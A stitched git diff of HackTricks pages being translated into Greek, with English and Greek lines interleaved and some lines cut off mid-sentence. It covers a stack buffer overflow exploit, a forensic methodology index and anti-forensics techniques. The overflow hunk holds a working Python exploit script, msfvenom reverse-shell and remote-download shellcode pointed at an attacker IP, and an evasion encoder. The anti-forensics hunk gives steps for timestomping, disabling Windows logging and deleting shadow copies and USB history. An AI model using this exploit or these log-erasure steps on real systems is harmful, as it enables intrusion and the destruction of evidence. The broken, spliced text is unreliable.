Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει:
|
||||
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
|
@ -186,30 +197,25 @@ You will **list the memory maps**. Search for some DLl that has:
|
|||
|
||||
![](<../.gitbook/assets/image (35) (1).png>)
|
||||
|
||||
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
|
||||
|
||||
Τώρα, μέσα σε αυτήν τη μνήμη θα πρέπει να βρείτε ορισμένα bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
|
||||
**Then, if some address is found, choose one that don't contain any badchar:**
|
||||
**Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μια που δεν περιέχει κανένα κακό χαρακτήρα:**
|
||||
|
||||
![](<../.gitbook/assets/image (36) (1).png>)
|
||||
|
||||
**In this case, for example: \_0x5f4a358f**\_
|
||||
|
||||
## Create shellcode
|
||||
**Σε αυτήν την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
|
||||
|
||||
## Δημιουργία shellcode
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
Εάν το εκμεταλλευτήριο δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας του shell φτάνει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδικών shell για τις ίδιες παραμέτρους).
|
||||
|
||||
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
|
||||
|
||||
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
|
||||
|
||||
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον και τη διεύθυνση επιστροφής για να κάνετε JMP ESP, και ολοκληρώστε το εκμεταλλευτήριο:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
|
@ -248,39 +254,36 @@ shellcode = (
|
|||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
|
||||
Υπάρχουν shellcodes που θα **αντικαταστήσουν τον εαυτό τους**, για αυτό είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
|
||||
{% endhint %}
|
||||
|
||||
## Improving the shellcode
|
||||
|
||||
Add this parameters:
|
||||
## Βελτίωση του shellcode
|
||||
|
||||
Προσθέστε αυτές τις παραμέτρους:
|
||||
```
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,40 +1,40 @@
|
|||
# Basic Forensic Methodology
|
||||
# Βασική Μεθοδολογία Εγκληματολογικής Εξέτασης
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Creating and Mounting an Image
|
||||
## Δημιουργία και Προσάρτηση Εικόνας
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Malware Analysis
|
||||
## Ανάλυση Κακόβουλου Λογισμικού
|
||||
|
||||
This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**:
|
||||
Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να γίνει μόλις έχετε την εικόνα**. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα αρχείου συστήματος, μια εικόνα μνήμης, pcap... οπότε είναι καλό να **έχετε αυτές τις ενέργειες υπόψη**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Inspecting an Image
|
||||
## Επιθεώρηση μιας Εικόνας
|
||||
|
||||
if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in:
|
||||
Αν σας δίνεται μια **εγκληματολογική εικόνα** ενός συσκευής, μπορείτε να αρχίσετε να **αναλύετε τις διαμερίσματα, το αρχείο-σύστημα** που χρησιμοποιήθηκε και να **ανακτήσετε** πιθανώς **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Depending on the used OSs and even platform different interesting artifacts should be searched:
|
||||
Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και πλατφόρμες, πρέπει να αναζητηθούν διάφορα ενδιαφέροντα στοιχεία:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,42 +48,42 @@ Depending on the used OSs and even platform different interesting artifacts shou
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Deep inspection of specific file-types and Software
|
||||
## Εμβάθυνση σε συγκεκριμένους τύπους αρχείων και Λογισμικό
|
||||
|
||||
If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\
|
||||
Read the following page to learn some interesting tricks:
|
||||
Αν έχετε ένα πολύ **ύποπτο αρχείο**, τότε, **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, μπορεί να είναι χρήσιμα διάφορα **κόλπα**.\
|
||||
Διαβάστε την παρακάτω σελίδα για να μάθετε μερικά ενδιαφέροντα κόλπα:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
I want to do a special mention to the page:
|
||||
Θέλω να κάνω μια ειδική αναφορά στη σελίδα:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Memory Dump Inspection
|
||||
## Επιθεώρηση Αντιγράφου Μνήμης
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap Inspection
|
||||
## Επιθεώρηση Pcap
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Anti-Forensic Techniques**
|
||||
## **Τεχνικές Αντι-Εγκληματολογικής Ανάλυσης**
|
||||
|
||||
Keep in mind the possible use of anti-forensic techniques:
|
||||
Να έχετε υπόψη την πιθανή χρήση τεχνικών αντι-εγκληματολογικής ανάλυσης:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Threat Hunting
|
||||
## Κυνήγι Απειλών
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
|
@ -91,12 +91,6 @@ Keep in mind the possible use of anti-forensic techniques:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε π
|
||||
|
|
|
@ -1,181 +1,113 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Timestamps
|
||||
# Χρονικές σημάνσεις
|
||||
|
||||
An attacker may be interested in **changing the timestamps of files** to avoid being detected.\
|
||||
It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`.
|
||||
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σημάνσεις των αρχείων** για να αποφύγει την ανίχνευσή του.\
|
||||
Είναι δυνατόν να βρεθούν οι χρονικές σημάνσεις μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __και__ __`$FILE_NAME`.
|
||||
|
||||
Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB).
|
||||
Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σημάνσεις: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταγραφής MFT** (MACE ή MACB).
|
||||
|
||||
**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**.
|
||||
Ο **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Anti-forensic Tool
|
||||
## TimeStomp - Εργαλείο αντι-ανακριτικής
|
||||
|
||||
This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**.
|
||||
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες των χρονικών σημάνσεων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **ανιχνευθεί** **ύποπτη** **δραστηριότητα**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes.
|
||||
Το **USN Journal** (Update Sequence Number Journal) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file.
|
||||
Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι έγιναν κάποιες **αλλαγές** στο αρχείο.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes.
|
||||
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα κρατούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για να αναλύσουν αυτό το αρχείο και να ανιχνεύσουν αλλαγές.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
Again, in the output of the tool it's possible to see that **some changes were performed**.
|
||||
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **έγιναν κάποιες αλλαγές**.
|
||||
|
||||
Using the same tool it's possible to identify to **which time the timestamps were modified**:
|
||||
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να ανιχνευθεί σε **ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σημάνσεις**:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: File's creation time
|
||||
* ATIME: File's modification time
|
||||
* MTIME: File's MFT registry modification
|
||||
* RTIME: File's access time
|
||||
* CTIME: Χρόνος δημιουργίας του αρχείου
|
||||
* ATIME: Χρόνος τροποποίησης του αρχείου
|
||||
* MTIME: Χρόνος τροποποίησης του μητρώου MFT του αρχείου
|
||||
* RTIME: Χρόνος πρόσβασης στο αρχείο
|
||||
|
||||
## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison
|
||||
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
|
||||
|
||||
Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**.
|
||||
Ένας άλλος τ
|
||||
## Διαγραφή Ιστορικού USB
|
||||
|
||||
## Nanoseconds
|
||||
Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR**, το οποίο περιέχει υποκλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό**, θα διαγράψετε το ιστορικό USB.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε βέβαιοι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
|
||||
|
||||
**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**.
|
||||
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τις USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
|
||||
|
||||
## SetMace - Anti-forensic Tool
|
||||
## Απενεργοποίηση Αντιγράφων Σκιάς
|
||||
|
||||
This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information.
|
||||
**Λίστα** αντιγράφων σκιάς με την εντολή `vssadmin list shadowstorage`\
|
||||
**Διαγραφή** τους με την εντολή `vssadmin delete shadow`
|
||||
|
||||
# Data Hiding
|
||||
Μπορείτε επίσης να τα διαγράψετε μέσω του γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στην [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**.
|
||||
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added:
|
||||
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά από κλικ στο κουμπί Έναρξη των Windows.
|
||||
2. Από τη λίστα, βρείτε την "Volume Shadow Copy", επιλέξτε την και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
|
||||
3. Επιλέξτε την επιλογή "Disabled" από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
Είναι επίσης δυνατή η τροποποίηση της διαμόρφωσης των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted.
|
||||
## Αντικατάσταση διαγραμμένων αρχείων
|
||||
|
||||
# UsbKill
|
||||
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο των Windows**: `cipher /w:C` Αυτό θα οδηγήσει το cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο στον δίσκο C.
|
||||
* Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
This is a tool that will **turn off the computer if any change in the USB** ports is detected.\
|
||||
A way to discover this would be to inspect the running processes and **review each python script running**.
|
||||
## Διαγραφή αρχείων καταγραφής συμβάντων των Windows
|
||||
|
||||
# Live Linux Distributions
|
||||
|
||||
These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion.
|
||||
|
||||
# Secure Deletion
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows Configuration
|
||||
|
||||
It's possible to disable several windows logging methods to make the forensics investigation much harder.
|
||||
|
||||
## Disable Timestamps - UserAssist
|
||||
|
||||
This is a registry key that maintains dates and hours when each executable was run by the user.
|
||||
|
||||
Disabling UserAssist requires two steps:
|
||||
|
||||
1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled.
|
||||
2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
## Disable Timestamps - Prefetch
|
||||
|
||||
This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.
|
||||
|
||||
* Execute `regedit`
|
||||
* Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Right-click on both `EnablePrefetcher` and `EnableSuperfetch`
|
||||
* Select Modify on each of these to change the value from 1 (or 3) to 0
|
||||
* Restart
|
||||
|
||||
## Disable Timestamps - Last Access Time
|
||||
|
||||
Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance.
|
||||
|
||||
1. Open the Registry Editor (Regedit.exe).
|
||||
2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
|
||||
4. Close the Registry Editor, and reboot the server.
|
||||
|
||||
## Delete USB History
|
||||
|
||||
All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\
|
||||
You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them).
|
||||
|
